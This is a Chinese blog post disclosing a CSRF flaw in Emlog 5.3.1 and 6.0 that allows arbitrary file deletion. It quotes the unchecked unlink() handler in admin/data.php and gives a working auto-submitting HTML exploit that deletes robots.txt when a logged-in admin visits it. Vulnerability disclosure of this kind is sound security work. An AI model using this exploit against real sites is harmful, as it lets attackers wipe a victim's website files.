前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Emlog新版一处csrf导致的任意文件删除(可删除全站)

Emlog新版一处csrf导致的任意文件删除(可删除全站)

作者头像
C4rpeDime
发布2018-10-10 10:00:14
5460
发布2018-10-10 10:00:14
举报
文章被收录于专栏:黑白安全黑白安全

听说emlog更新到6.0了,下载了一份最新的代码,发现原来的bug还是没有修复。可能是官方没有在意,所以这里简单叙述一下危害。

出现的地方

admin/data.php139行

代码语言:javascript
复制
if ($action == 'dell_all_bak') {
    if (!isset($_POST['bak'])) {
        emDirect('./data.php?error_a=1');
    } else{
        foreach ($_POST['bak'] as $val) {
            unlink($val);
        }
        emDirect('./data.php?active_del=1');
    }}

可以看到后台是没有验证的,如果管理员访问到了精心构造的界面,则可以删除任意文件,这里代码使用数组循环的,所以管理员如果访问到了页面很可能会删除网站所有。

利用方式

以我本地搭建的网站emlog6.demo为例,构造如下exp:

代码语言:javascript
复制
<html>
  <head>
    
  </head>
  <body>
      <form action="http://emlog6.demo/admin/data.php?action=dell_all_bak" method="POST" id="transfer">
        <input type="hidden" name="bak[0]" value="../robots.txt" />
            <button>aa</button>
      </form>
<script type="text/javascript">
var f = document.getElementById("transfer");
f.submit();
</script>
  </body>
</html>

这里只删除robots.txt。然后将这个上传到任意网址,诱导管理员访问(管理员访问时需要确认已经登陆过后台) 这是访问之前:

Emlog新版一处csrf导致的任意文件删除(可删除全站)
Emlog新版一处csrf导致的任意文件删除(可删除全站)

访问之后看到robots.txt已经被删除了

Emlog新版一处csrf导致的任意文件删除(可删除全站)
Emlog新版一处csrf导致的任意文件删除(可删除全站)

影响范围

只测试过emlog 5.3.1和6.0 都中招

修复

本文参与 腾讯云自媒体分享计划,分享自作者个人站点/博客。
如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 出现的地方
  • 利用方式
  • 影响范围
  • 修复
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档